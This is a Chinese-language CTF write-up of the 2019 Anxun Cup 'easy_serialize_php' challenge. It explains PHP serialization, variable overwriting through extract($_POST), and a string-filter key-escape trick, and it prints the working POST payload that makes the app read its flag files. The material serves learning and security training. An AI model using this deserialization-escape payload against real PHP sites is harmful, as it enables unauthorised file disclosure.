[安洵杯 2019]easy_serialize_php.md
鍛煉代碼審計能力和學習
PHP反序列化
反序列化中的對象逃逸
SQL注入既視感
首先明確幾個點:
序列化后的結果是一串字符串。
反序列化會解開序列化的字符串生成相應類型的數據。
如下代碼示例,img是一個數組,下標分別是one和two,對應的值分別是flag,test。
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化部分:
經過serialize序列化后生成了相應的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示數組 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對。
花括號中的s都表示string即字符串,
s:后面的值分別是3、4、3、4,即對應的字符串長度,比如one長度是三,flag長度是4
反序列化部分:
unserialize函數將字符串解序列化,我們用var_dump函數顯示了他的詳細信息。
可見解序列化后由變量$b,接收了img數組。
序列化中每個字母的表示
a | array數組 |
---|---|
b | boolean判斷類型 |
d | double浮點數 |
i | integer整數型 |
o | common object 一般的對象 |
r | reference引用類型 |
s | string字符串類型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
分析題目源碼
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
發現d0g3_f1ag.php
我把可以對應起來的代碼放到了一起
$function = @$_GET['f'];
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根據上面可以清楚,f是我們用get方法傳參得到的變量並由$function接收。
$function發揮作用的代碼塊,在最下方的判斷句。
咱們初步訪問的時候f=highlight_file,
判斷句中給了提示,那么f=phpinfo時,我們就看到了phpinfo的頁面,phpinfo有很多配置項會顯示。
我們發現了auto_append_file d0g3_f1ag.php 在頁面底部加載文件d0g3_f1ag.php。
所以可以猜測flag應該要從d0g3_f1ag.php拿。
當f=show_image是可以讀文件的,只要$userinfo['img']是相應的flag.php的base64加密,所以我們先記住這個點,一會肯定要用
發現變量覆蓋
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
filter函數是為了過濾用的,可以先繼續往下看,到如下的時候。
我萌發現unset函數將$_SESSION銷毀了。
然后重新賦予$_SESSION了新的值。
最后調用了extract($_POST);
extract() 函數從數組中將變量導入到當前的符號表。
可參考:https://www.w3school.com.cn/php/func_array_extract.asp
舉例extract()變量覆蓋
根據extract()我們可以進行變量覆蓋,
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
只剩下_SESSION[flag]=123。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
繼續往下
知道了變量符改,我們可以干什么呢,往下看叭。
由於有了如下的代碼,我們直接進行變量覆蓋,直接給$SESSION['img']一個預想的值是不現實的,
因為$SESSION['img'] = base64_encode('guest_img.png')是后執行的。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
窮途末路
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
只能看看filter函數了,發現把傳入的字符串幾個特定字符會替換成空。
后來就是看大佬萌的wp了。
大佬萌都是用鍵值逃逸。
原理:因為序列化吼的字符串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字符串長度是4的否則就往后要。
並且unserialize會把多余的字符串當垃圾處理,在花括號內的就是正確的,花括號后面的就都被扔掉。
示例:
<?php
#正規序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
我們有了這個逃逸概念的話,就大概可以理解了。如果我們把
$_SESSION['img'] = base64_encode('guest_img.png');這段代碼的img屬性放到花括號外邊去,
然后花括號中注好新的img屬性,那么他本來要求的img屬性就被咱們替換了。
那如何達到這個目的就要通過過濾函數了,因為咱的序列化的是個字符串啊,然后他又把黑名單的東西替換成空。
大佬的payload:
post一個數據。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}這個肯定就是我們預期的那段序列化字符,
那么 ;s:1:"1"; 這幾個字符呢?
如果使用大佬的payload那么可以明白,現在的_SESSION就存在兩個鍵值即phpflag和img對應的鍵值對。
並且這個字符串得好好讀才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
經過filter過濾后phpflag就會被替換成空,
s:7:"phpflag";s:48:" 就變成了 s:7:"";s:48:";即完成了逃逸。
兩個鍵值分別被序列化成了
s:7:"";s:48:";s:1:"1";即鍵名叫";s:48: 對應的值為一個字符串1。這個鍵值對只要能瞞天過海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";鍵名img對應的字符串是d0g3_f1ag.php的base64編碼。
右花括號后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被當成孤兒放棄了。
注入
發現/d0g3_fllllllag
拿flag
/d0g3_fllllllag進行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替換原來的就好。
不行了我哭了
感覺自己和那個被扔掉的序列化字符串一樣是個孤兒。